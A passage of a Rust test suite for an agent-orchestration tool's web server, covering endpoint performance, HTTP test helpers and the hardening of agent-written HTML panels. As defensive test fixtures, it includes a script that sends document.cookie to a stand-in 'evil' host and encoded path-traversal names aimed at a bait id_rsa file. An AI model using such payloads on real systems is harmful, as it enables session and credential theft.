11766            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11767        });
11768        std::fs::write(
11769            fx.runs()
11770                .join(&state.id)
11771                .join("artifacts/eviction-review-1.json"),
11772            serde_json::to_vec(&record).unwrap(),
11773        )
11774        .unwrap();
11775        std::fs::remove_dir_all(&repo).unwrap();
11776        let url = format!("/api/runs/{}/seat-evidence", state.id);
11777        let list = fx.get(&url).await;
11778        assert_eq!(list.status, 200, "{}", list.body);
11779        assert_eq!(list.json()[&head], "review-1");
11780        let patch = fx.get(&format!("{url}/{head}")).await;
11781        assert_eq!(patch.status, 200, "{}", patch.body);
11782        assert!(patch.body.contains("+archived review"));
11783        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11784        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11785        assert_eq!(fx.get(&url).await.status, 404);
11786        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11787    }
11788
11789    fn request_counts(res: &Res) -> (usize, usize) {
11790        assert_eq!(res.status, 200, "{}", res.body);
11791        (
11792            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11793            res.header("x-test-git").unwrap().parse().unwrap(),
11794        )
11795    }
11796
11797    #[tokio::test]
11798    async fn list_request_cost_is_independent_of_record_count() {
11799        let (_tmp, repos, fx) = performance_fixture().await;
11800        let mut previous = None;
11801        for n in [4, 60] {
11802            seed_performance(&fx, &repos, n, n, n);
11803            let mut costs = Vec::new();
11804            for (path, discoveries) in [
11805                ("/api/questions", 1),
11806                ("/api/talks", 0),
11807                ("/api/health", 0),
11808                ("/api/stats", 1),
11809            ] {
11810                // Equal cold extraction caches at both scales; this also
11811                // bounds first-request cost instead of only warmed requests.
11812                for repo in &repos {
11813                    let cache = repo.join(".git/magi/config");
11814                    if cache.exists() {
11815                        std::fs::remove_dir_all(cache).unwrap();
11816                    }
11817                }
11818                let cost = request_counts(&fx.get(path).await);
11819                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11820                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11821                assert!(
11822                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11823                    "{path}: {cost:?}"
11824                );
11825                costs.push(cost);
11826            }
11827            if let Some(previous) = previous {
11828                assert_eq!(costs, previous);
11829            }
11830            previous = Some(costs);
11831        }
11832        // runs reads shared row inputs and probes process liveness; queue
11833        // builds one blocker inventory; notifications reads its own store.
11834        // None discovers configuration or spawns git per item.
11835    }
11836
11837    /// The same handler path without transport, so the deterministic cause
11838    /// can also be checked in environments that prohibit binding sockets.
11839    #[tokio::test]
11840    async fn list_handler_cost_without_transport() {
11841        let (_tmp, repos) = performance_repositories().await;
11842        let fx = Fixture {
11843            home: TempDir::new().unwrap(),
11844            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11845        };
11846        let ui = Arc::new(
11847            Ui::new(
11848                fx.queue(),
11849                fx.questions(),
11850                fx.talks(),
11851                fx.runs(),
11852                fx.home.path().to_path_buf(),
11853                repos[0].clone(),
11854            )
11855            .with_worktrees_root(fx.home.path().join("wt")),
11856        );
11857        let mut previous = None;
11858        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11859            seed_performance(&fx, &repos, n, runs, items);
11860            let mut costs = Vec::new();
11861            for endpoint in ["questions", "talks", "health", "stats"] {
11862                for repo in &repos {
11863                    let cache = repo.join(".git/magi/config");
11864                    if cache.exists() {
11865                        std::fs::remove_dir_all(cache).unwrap();
11866                    }
11867                }
11868                let (_, cost) = request_cost::measure(async {
11869                    match endpoint {
11870                        "questions" => {
11871                            let _ = questions_list(State(ui.clone())).await.unwrap();
11872                        }
11873                        "talks" => {
11874                            let _ = talks_list(
11875                                State(ui.clone()),
11876                                Query(ListQuery {
11877                                    limit: None,
11878                                    ids: None,
11879                                }),
11880                                header::HeaderMap::new(),
11881                            )
11882                            .await
11883                            .unwrap();
11884                        }
11885                        "health" => {
11886                            let _ = health(State(ui.clone())).await.unwrap();
11887                        }
11888                        _ => {
11889                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11890                                .await
11891                                .unwrap();
11892                        }
11893                    }
11894                })
11895                .await;
11896                eprintln!("{endpoint} handler N={n}: {cost:?}");
11897                assert_eq!(
11898                    cost.0,
11899                    if matches!(endpoint, "talks" | "health") {
11900                        0
11901                    } else {
11902                        1
11903                    },
11904                    "{endpoint}"
11905                );
11906                assert!(
11907                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11908                    "{endpoint}: {cost:?}"
11909                );
11910                costs.push(cost);
11911            }
11912            if let Some(previous) = previous {
11913                assert_eq!(costs, previous);
11914            }
11915            previous = Some(costs);
11916        }
11917    }
11918
11919    #[tokio::test]
11920    async fn list_request_cost_scopes_do_not_mix() {
11921        let (_tmp, repos, fx) = performance_fixture().await;
11922        seed_performance(&fx, &repos, 10, 0, 10);
11923        let (questions, talks, notices) = tokio::join!(
11924            fx.get("/api/questions"),
11925            fx.get("/api/talks"),
11926            fx.get("/api/notifications")
11927        );
11928        assert_eq!(request_counts(&questions).0, 1);
11929        // Cached summaries perform no config discovery or git work, even
11930        // alongside the questions request that still discovers config.
11931        assert_eq!(request_counts(&talks), (0, 0));
11932        assert_eq!(request_counts(&notices), (0, 0));
11933    }
11934
11935    #[tokio::test]
11936    async fn list_endpoints_large_home_responses() {
11937        check_large_home_endpoints(false).await;
11938    }
11939
11940    #[tokio::test]
11941    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11942    async fn list_endpoints_large_home_ceiling() {
11943        check_large_home_endpoints(true).await;
11944    }
11945
11946    async fn check_large_home_endpoints(timed: bool) {
11947        let (_tmp, repos, fx) = performance_fixture().await;
11948        seed_performance(&fx, &repos, 200, 300, 400);
11949        let mut failures = Vec::new();
11950        // app.js boot/change loads plus the initial dashboard, settings and
11951        // repo picker. SSE is a persistent stream, not a bounded GET.
11952        for path in [
11953            "/",
11954            "/app.js",
11955            "/app.css",
11956            "/api/questions",
11957            "/api/runs?limit=300",
11958            "/api/queue",
11959            "/api/talks",
11960            "/api/notifications",
11961            "/api/health",
11962            "/api/stats",
11963            "/api/loop",
11964            "/api/settings",
11965            "/api/repos",
11966        ] {
11967            let start = std::time::Instant::now();
11968            let result = if timed {
11969                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11970            } else {
11971                Ok(fx.get(path).await)
11972            };
11973            let elapsed = start.elapsed();
11974            eprintln!("{path}: {elapsed:?}");
11975            match result {
11976                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11977                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11978                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11979            }
11980        }
11981        assert!(failures.is_empty(), "{}", failures.join("\n"));
11982    }
11983
11984    struct Res {
11985        status: u16,
11986        headers: String,
11987        /// The header block with its original casing, for the assertions that
11988        /// compare a header *value* rather than looking for a name. Lowercasing
11989        /// a CSP would hide a directive spelled with a capital letter, and the
11990        /// whole point of that test is that the string is exactly right.
11991        head: String,
11992        body: String,
11993        /// The body before any UTF-8 handling, for the routes that serve
11994        /// something other than text. A panel asset is a PNG as often as not,
11995        /// and `from_utf8_lossy` would silently replace half of it.
11996        bytes: Vec<u8>,
11997    }
11998
11999    impl Res {
12000        fn json(&self) -> Value {
12001            serde_json::from_str(&self.body)
12002                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12003        }
12004
12005        /// One header's value verbatim, or `None` when it was not sent.
12006        fn header(&self, name: &str) -> Option<&str> {
12007            self.head.lines().find_map(|line| {
12008                let (key, value) = line.split_once(':')?;
12009                key.trim()
12010                    .eq_ignore_ascii_case(name)
12011                    .then(|| value.trim_start().trim_end_matches('\r'))
12012            })
12013        }
12014    }
12015
12016    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12017    /// be read to end-of-stream without parsing framing.
12018    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12019        request_with(addr, method, path, body, &[]).await
12020    }
12021
12022    /// As [`request`], with extra request headers - conditional GETs need
12023    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12024    /// worse than one that sets none.
12025    async fn request_with(
12026        addr: SocketAddr,
12027        method: &str,
12028        path: &str,
12029        body: Option<&str>,
12030        extra: &[(&str, &str)],
12031    ) -> Res {
12032        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12033        for (name, value) in extra {
12034            head.push_str(&format!("{name}: {value}\r\n"));
12035        }
12036        if let Some(body) = body {
12037            head.push_str("Content-Type: application/json\r\n");
12038            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12039        }
12040        head.push_str("\r\n");
12041        if let Some(body) = body {
12042            head.push_str(body);
12043        }
12044        let mut socket = tokio::net::TcpStream::connect(addr)
12045            .await
12046            .expect("connect to the test server");
12047        socket
12048            .write_all(head.as_bytes())
12049            .await
12050            .expect("write request");
12051        let mut raw = Vec::new();
12052        socket.read_to_end(&mut raw).await.expect("read response");
12053        // Split on the raw bytes rather than on a lossy string, so a binary
12054        // body survives to be compared byte for byte.
12055        let split = raw
12056            .windows(4)
12057            .position(|w| w == b"\r\n\r\n")
12058            .expect("a header block");
12059        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12060        let bytes = raw[split + 4..].to_vec();
12061        let status = head
12062            .lines()
12063            .next()
12064            .and_then(|line| line.split_whitespace().nth(1))
12065            .and_then(|code| code.parse().ok())
12066            .expect("a status line");
12067        Res {
12068            status,
12069            headers: head.to_lowercase(),
12070            head,
12071            body: String::from_utf8_lossy(&bytes).into_owned(),
12072            bytes,
12073        }
12074    }
12075
12076    /// A `POST` carrying a raw binary body and its own headers, for the
12077    /// attachment upload route - `request_with` only ever sends
12078    /// `Content-Type: application/json`, which is wrong for an image and
12079    /// would corrupt anything not valid UTF-8 by round-tripping it through
12080    /// `&str` first.
12081    async fn request_bytes(
12082        addr: SocketAddr,
12083        path: &str,
12084        headers: &[(&str, &str)],
12085        body: &[u8],
12086    ) -> Res {
12087        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12088        for (name, value) in headers {
12089            head.push_str(&format!("{name}: {value}\r\n"));
12090        }
12091        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12092        let mut socket = tokio::net::TcpStream::connect(addr)
12093            .await
12094            .expect("connect to the test server");
12095        socket
12096            .write_all(head.as_bytes())
12097            .await
12098            .expect("write request head");
12099        socket.write_all(body).await.expect("write request body");
12100        let mut raw = Vec::new();
12101        socket.read_to_end(&mut raw).await.expect("read response");
12102        let split = raw
12103            .windows(4)
12104            .position(|w| w == b"\r\n\r\n")
12105            .expect("a header block");
12106        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12107        let bytes = raw[split + 4..].to_vec();
12108        let status = head
12109            .lines()
12110            .next()
12111            .and_then(|line| line.split_whitespace().nth(1))
12112            .and_then(|code| code.parse().ok())
12113            .expect("a status line");
12114        Res {
12115            status,
12116            headers: head.to_lowercase(),
12117            head,
12118            body: String::from_utf8_lossy(&bytes).into_owned(),
12119            bytes,
12120        }
12121    }
12122
12123    /// A run on disk, without touching the process-global magi home.
12124    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12125        let mut state = RunState::new(
12126            PathBuf::from("/repo/magi"),
12127            "main".to_owned(),
12128            "0123456789abcdef".to_owned(),
12129            "Add a web UI\n\nMobile first.".to_owned(),
12130            Config::default(),
12131        );
12132        state.id = id.to_owned();
12133        state.status = status;
12134        let dir = runs.join(id);
12135        std::fs::create_dir_all(&dir).expect("run dir");
12136        std::fs::write(
12137            dir.join("run.json"),
12138            serde_json::to_string_pretty(&state).expect("serialize run"),
12139        )
12140        .expect("write run.json");
12141    }
12142
12143    /// Same as [`write_run`], but against a named repository rather than the
12144    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12145    /// spread across more than one.
12146    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12147        let mut state = RunState::new(
12148            PathBuf::from(repo),
12149            "main".to_owned(),
12150            "0123456789abcdef".to_owned(),
12151            "task".to_owned(),
12152            Config::default(),
12153        );
12154        state.id = id.to_owned();
12155        state.status = status;
12156        let dir = runs.join(id);
12157        std::fs::create_dir_all(&dir).expect("run dir");
12158        std::fs::write(
12159            dir.join("run.json"),
12160            serde_json::to_string_pretty(&state).expect("serialize run"),
12161        )
12162        .expect("write run.json");
12163    }
12164
12165    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12166        let body = serde_json::json!({
12167            "schema": 1,
12168            "pid": 4242,
12169            "started_at": Timestamp::now().to_string(),
12170            "updated_at": updated_at.to_string(),
12171            "idle": false,
12172            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12173            "completed": 7,
12174            "polls": 143,
12175        });
12176        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12177    }
12178
12179    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12180    ///
12181    /// No test in this file may start the real loop - see [`Ui::launch`] for
12182    /// why - so this stands in for the only thing the routes need a loop to
12183    /// do: keep running until `Stop` is set, then return. A real
12184    /// `serve_until` here would resolve its queue and its status file through
12185    /// the process-global magi home, claim whatever it found in the
12186    /// operator's live backlog, overwrite the status file of the `magi serve`
12187    /// that owns it, and spend real agent quota on a real competition.
12188    fn launch_idle(
12189        _opts: daemon::Opts,
12190        stop: daemon::Stop,
12191    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12192        Box::pin(async move {
12193            while !stop.stopped() {
12194                tokio::time::sleep(Duration::from_millis(2)).await;
12195            }
12196            Ok(())
12197        })
12198    }
12199
12200    /// A loop that fails on the way up, the way one whose home has gone
12201    /// read-only does.
12202    fn launch_broken(
12203        _opts: daemon::Opts,
12204        _stop: daemon::Stop,
12205    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12206        // The stand-in dies instantly, so a restarted one can record its own
12207        // failure before the start's response is read. The second attempt
12208        // therefore fails with a different message, to tell a stale error
12209        // from a fresh one.
12210        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12211        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12212        Box::pin(async move {
12213            Err(anyhow::anyhow!(if first {
12214                "publish the daemon status file: read-only file system"
12215            } else {
12216                "the restarted stand-in failed as well"
12217            }))
12218        })
12219    }
12220
12221    /// The loop view once `want` accepts it.
12222    ///
12223    /// Polled rather than asserted straight after the POST because stopping
12224    /// is deliberately not instant - that is the contract - and rather than
12225    /// slept through because a fixed wait is either flaky or slow.
12226    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12227    /// finite, so a genuine hang fails the test instead of hanging the
12228    /// suite.
12229    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12230        for _ in 0..SETTLE_STEPS {
12231            let view = fx.get("/api/loop").await.json();
12232            if want(&view) {
12233                return view;
12234            }
12235            tokio::time::sleep(Duration::from_millis(10)).await;
12236        }
12237        panic!(
12238            "the loop never settled: {}",
12239            fx.get("/api/loop").await.json()
12240        );
12241    }
12242
12243    /// File an open question directly in the store the server reads.
12244    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12245        let store = fx.questions();
12246        let mut q = Question::new(
12247            "20260902-000000-beef".to_owned(),
12248            "implement".to_owned(),
12249            "impl-A".to_owned(),
12250            summary.to_owned(),
12251            "because it matters".to_owned(),
12252            choices.iter().map(|c| (*c).to_owned()).collect(),
12253        );
12254        store.put(&mut q).expect("put question");
12255        q.id
12256    }
12257
12258    /// A question with a panel the server can serve, plus the named assets.
12259    ///
12260    /// Written through `Questions::put_panel` rather than by laying out the
12261    /// directory here, so these tests exercise the same on-disk shape the
12262    /// agents produce and cannot pass against a layout only the tests know.
12263    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12264        let store = fx.questions();
12265        let mut q = Question::new(
12266            "20260902-000000-beef".to_owned(),
12267            "land".to_owned(),
12268            "fix".to_owned(),
12269            "Merge this?".to_owned(),
12270            "the diff is in the panel".to_owned(),
12271            vec!["merge".to_owned(), "hold".to_owned()],
12272        );
12273        // Staged outside the questions root, because `put_panel` copies from
12274        // wherever the agent left its files.
12275        let staging = fx.home.path().join("staging");
12276        std::fs::create_dir_all(&staging).expect("staging dir");
12277        let sources: Vec<PathBuf> = assets
12278            .iter()
12279            .map(|(name, bytes)| {
12280                let path = staging.join(name);
12281                std::fs::write(&path, bytes).expect("write staged asset");
12282                path
12283            })
12284            .collect();
12285        store
12286            .put_panel(&mut q, html, &sources)
12287            .expect("write the panel");
12288        store.put(&mut q).expect("put question");
12289        q.id
12290    }
12291
12292    /// A talk on disk, without talking to a model.
12293    ///
12294    /// Written as JSON straight into the store the server reads, because the
12295    /// only constructor `talk::begin` offers takes no turn but still requires
12296    /// a real caller-visible flow. The one thing this cannot make up is the
12297    /// seat, so it is built with the real `SeatState::new` and serialized -
12298    /// the alternative, hand-writing that object, would make these tests fail
12299    /// the day the seat gains a field.
12300    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12301        seed_talk_at(&fx.talks(), id, status)
12302    }
12303
12304    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12305        std::fs::create_dir_all(store.root()).expect("talks dir");
12306        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12307            .expect("serialize a seat");
12308        let body = serde_json::json!({
12309            "schema": 1,
12310            "id": id,
12311            "repo": "/repo/magi",
12312            "agent": "mock",
12313            "status": status,
12314            "turns": [],
12315            "created_at": Timestamp::now().to_string(),
12316            "updated_at": Timestamp::now().to_string(),
12317            "seat": seat,
12318        });
12319        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12320        store.get(id).expect("the seeded talk has to be readable");
12321        id.to_owned()
12322    }
12323
12324    #[tokio::test]
12325    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12326        let fx = Fixture::start().await;
12327        let id = panel(
12328            &fx,
12329            "<h1>Merge?</h1><img src=\"diff.svg\">",
12330            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12331        );
12332
12333        for path in [
12334            format!("/api/questions/{id}/panel"),
12335            format!("/api/questions/{id}/asset/diff.svg"),
12336        ] {
12337            let res = fx.get(&path).await;
12338            assert_eq!(res.status, 200, "{path}: {}", res.body);
12339            // The whole string, not a substring. A weakened directive - an
12340            // `img-src *` that lets a panel beacon out to a remote host, a
12341            // `script-src` anything, a missing `form-action` that lets it post
12342            // the owner's decision to a third party - has to fail here, and a
12343            // `contains` assertion would let every one of those through.
12344            assert_eq!(
12345                res.header("content-security-policy"),
12346                Some(
12347                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12348                     font-src data:; base-uri 'none'; form-action 'none'; \
12349                     frame-ancestors 'self'"
12350                ),
12351                "{path} is the only thing between a hostile panel and the tailnet"
12352            );
12353            assert_eq!(
12354                res.header("x-content-type-options"),
12355                Some("nosniff"),
12356                "{path}: a browser must not re-decide the type we sent"
12357            );
12358            assert_eq!(
12359                res.header("referrer-policy"),
12360                Some("no-referrer"),
12361                "{path}: a panel must not leak the question id off the machine"
12362            );
12363
12364            // The front end mounts the frame only after a `HEAD` says the
12365            // panel is there, so `HEAD` has to answer with the same status and
12366            // the same policy as `GET` - a preflight that came back without
12367            // the CSP would mean a frame mounted on an unverified promise.
12368            let pre = fx.head(&path).await;
12369            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12370            assert_eq!(
12371                pre.header("content-security-policy"),
12372                res.header("content-security-policy"),
12373                "{path}: the preflight carries the same policy"
12374            );
12375            assert_eq!(
12376                pre.header("content-type"),
12377                res.header("content-type"),
12378                "{path}: the preflight carries the same type"
12379            );
12380        }
12381    }
12382
12383    #[tokio::test]
12384    async fn a_panel_reaches_the_browser_byte_for_byte() {
12385        let fx = Fixture::start().await;
12386        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12387        // tag, an entity, and a multi-byte character. The sandbox is what makes
12388        // this safe, so nothing here may be rewritten on the way out - a
12389        // rewritten diff is a diff the owner cannot trust.
12390        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12391        let id = panel(&fx, html, &[]);
12392
12393        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12394
12395        assert_eq!(res.status, 200);
12396        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12397        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12398        assert_eq!(
12399            res.header("content-disposition"),
12400            None,
12401            "the panel itself is rendered in the frame, not downloaded"
12402        );
12403    }
12404
12405    #[tokio::test]
12406    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12407        let fx = Fixture::start().await;
12408        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12409        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12410        let id = panel(
12411            &fx,
12412            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12413            &[("diff.svg", svg), ("shot.png", png)],
12414        );
12415
12416        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12417        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12418
12419        assert_eq!(as_svg.status, 200);
12420        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12421        // An SVG is XML that may carry script. Inside the panel it is an
12422        // `<img src>` and the script cannot run; opened at the top level it
12423        // would be a document on magi's own origin, so the browser is told to
12424        // download it instead of rendering it.
12425        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12426
12427        assert_eq!(as_png.status, 200);
12428        assert_eq!(as_png.header("content-type"), Some("image/png"));
12429        assert_eq!(
12430            as_png.header("content-disposition"),
12431            None,
12432            "a raster image has no execution surface, so tapping it still shows it"
12433        );
12434        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12435    }
12436
12437    #[tokio::test]
12438    async fn an_html_asset_is_never_served_as_html() {
12439        let fx = Fixture::start().await;
12440        let id = panel(
12441            &fx,
12442            "<p>see the notes</p>",
12443            &[
12444                (
12445                    "notes.html",
12446                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12447                ),
12448                ("hook.js", b"fetch('http://evil/')"),
12449                ("data.json", b"{}"),
12450                ("HEADLINE.TXT", b"plain"),
12451            ],
12452        );
12453
12454        for name in ["notes.html", "hook.js", "data.json"] {
12455            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12456            assert_eq!(res.status, 200, "{name}: {}", res.body);
12457            // Serving this as text/html would be a way to reach agent markup
12458            // at the top level of the operator's browser, outside the frame's
12459            // sandbox and outside its CSP - which is the whole thing the panel
12460            // design exists to prevent. Unlisted types are downloads.
12461            assert_eq!(
12462                res.header("content-type"),
12463                Some("application/octet-stream"),
12464                "{name} must not be a type the browser will execute or render"
12465            );
12466        }
12467        // The whitelist is matched case-insensitively, so an agent shouting the
12468        // extension still gets a readable file rather than a download.
12469        let txt = fx
12470            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12471            .await;
12472        assert_eq!(
12473            txt.header("content-type"),
12474            Some("text/plain; charset=utf-8")
12475        );
12476    }
12477
12478    #[tokio::test]
12479    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12480        let fx = Fixture::start().await;
12481        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12482        // Something outside the panel directory that a traversal would reach if
12483        // one got through, so a passing test is not merely "the file was
12484        // missing anyway".
12485        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12486
12487        // Decoded before this server's handler sees them: axum percent-decodes
12488        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12489        // string with a NUL in it. All three look like ordinary single-segment
12490        // filenames to the router, so the router passes them through and
12491        // `valid_asset_name` is what refuses them - for the literal `..`, and
12492        // for `/`, `\` and NUL not being in the permitted character set.
12493        for encoded in [
12494            "%2e%2e%2fid_rsa",
12495            "..%2fid_rsa",
12496            "..%5cid_rsa",
12497            "%2e%2e%5cid_rsa",
12498            "diff%00.svg",
12499            "..",
12500            ".hidden",
12501            "%2e%2e%2f%2e%2e%2fid_rsa",
12502        ] {
12503            let res = fx
12504                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12505                .await;
12506            assert_eq!(
12507                res.status, 400,
12508                "`{encoded}` has to be refused by name, not looked up: {}",
12509                res.body
12510            );
12511            assert!(res.json()["error"].is_string(), "{}", res.body);
12512        }
12513
12514        // Not decoded, and never this handler's problem: a real slash makes the
12515        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12516        // so axum's router has no route to match and answers before any code
12517        // here runs. Asserted so that a future route with a wildcard segment
12518        // cannot quietly open this door.
12519        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12520            let res = fx
12521                .get(&format!("/api/questions/{id}/asset/{literal}"))
12522                .await;
12523            assert_eq!(
12524                res.status, 404,
12525                "`{literal}` must not match the asset route at all: {}",
12526                res.body
12527            );
12528        }
12529    }
12530
12531    #[tokio::test]
12532    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12533        let fx = Fixture::start().await;
12534        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12535        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12536
12537        // A question nobody wrote a panel for. The client preflights with HEAD
12538        // and cannot see inside a sandboxed frame, so this must be a status and
12539        // not an empty page.
12540        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12541        assert_eq!(none.status, 404, "{}", none.body);
12542        assert!(none.json()["error"].is_string(), "{}", none.body);
12543        assert_eq!(
12544            fx.head(&format!("/api/questions/{plain}/panel"))
12545                .await
12546                .status,
12547            404,
12548            "the preflight is the only way the client can learn this"
12549        );
12550
12551        // A name that is perfectly legal and simply is not there.
12552        let missing = fx
12553            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12554            .await;
12555        assert_eq!(missing.status, 404, "{}", missing.body);
12556        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12557
12558        // A question that does not exist at all, on both routes.
12559        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12560        assert_eq!(
12561            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12562            404
12563        );
12564    }
12565
12566    #[tokio::test]
12567    async fn a_run_with_an_open_question_reads_as_waiting() {
12568        let fx = Fixture::start().await;
12569        let run = "20260902-000000-beef".to_owned();
12570        write_run(&fx.runs(), &run, RunStatus::Implementing);
12571
12572        let before = fx.get("/api/runs").await.json();
12573        assert_eq!(before[0]["waiting"], false, "{before}");
12574
12575        let store = fx.questions();
12576        let mut q = Question::new(
12577            run.clone(),
12578            "implement".to_owned(),
12579            "impl-A".to_owned(),
12580            "Which backend?".to_owned(),
12581            String::new(),
12582            vec!["SQLite".to_owned()],
12583        );
12584        store.put(&mut q).expect("put");
12585
12586        let during = fx.get("/api/runs").await.json();
12587        assert_eq!(during[0]["waiting"], true, "{during}");
12588
12589        // Answered: the run is moving again, and the flag has to follow without
12590        // anything having rewritten run.json.
12591        q.answer(Answer::Choice("SQLite".to_owned()))
12592            .expect("answer");
12593        store.put(&mut q).expect("put");
12594        let after = fx.get("/api/runs").await.json();
12595        assert_eq!(after[0]["waiting"], false, "{after}");
12596    }
12597
12598    #[tokio::test]
12599    async fn an_open_question_is_listed_and_counted_by_health() {
12600        let fx = Fixture::start().await;
12601        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12602
12603        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12604        let listed = fx.get("/api/questions").await.json();
12605        assert_eq!(listed.as_array().expect("array").len(), 1);
12606        assert_eq!(listed[0]["id"], id);
12607        assert_eq!(listed[0]["status"], "open");
12608        assert_eq!(listed[0]["choices"][1], "Redis");
12609        // The count is what makes the phone's indicator honest: it is the one
12610        // number meaning nothing will move until a human acts.
12611        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12612    }
12613
12614    fn obsolete_approval_state() -> RunState {
12615        let mut state = crate::land::tests::repair_state(true, true);
12616        state.pr = Some(crate::run::PrRecord {
12617            url: "https://github.com/example/repo/pull/42".into(),
12618            number: 42,
12619            state: "open".into(),
12620            checks: "green".into(),
12621            round: 1,
12622            rounds: 4,
12623            red_at_merge: Vec::new(),
12624        });
12625        state
12626    }
12627
12628    #[tokio::test]
12629    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12630        for owner in ["missing", "current", "completed", "later"] {
12631            let fx = Fixture {
12632                home: TempDir::new().unwrap(),
12633                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12634            };
12635            let mut state = obsolete_approval_state();
12636            state.status = RunStatus::Landing;
12637            state.parked = true;
12638            state.driver_exited = true;
12639            let mut q = Question::new(
12640                state.id.clone(),
12641                crate::land::APPROVAL_NODE.into(),
12642                "land".into(),
12643                "Old approval".into(),
12644                "Original evidence".into(),
12645                vec!["merge".into(), "hold".into()],
12646            );
12647            state.land_approval = Some(crate::run::LandApproval {
12648                question: q.id.clone(),
12649                head: "head".into(),
12650            });
12651            state.save_under(fx.home.path()).unwrap();
12652            let stale = state.clone();
12653            fx.questions().put(&mut q).unwrap();
12654            let mut task = Task::new(
12655                "Owner".into(),
12656                "Original instruction".into(),
12657                state.repo.clone(),
12658                Source::Human,
12659            );
12660            task.runs.push(state.id.clone());
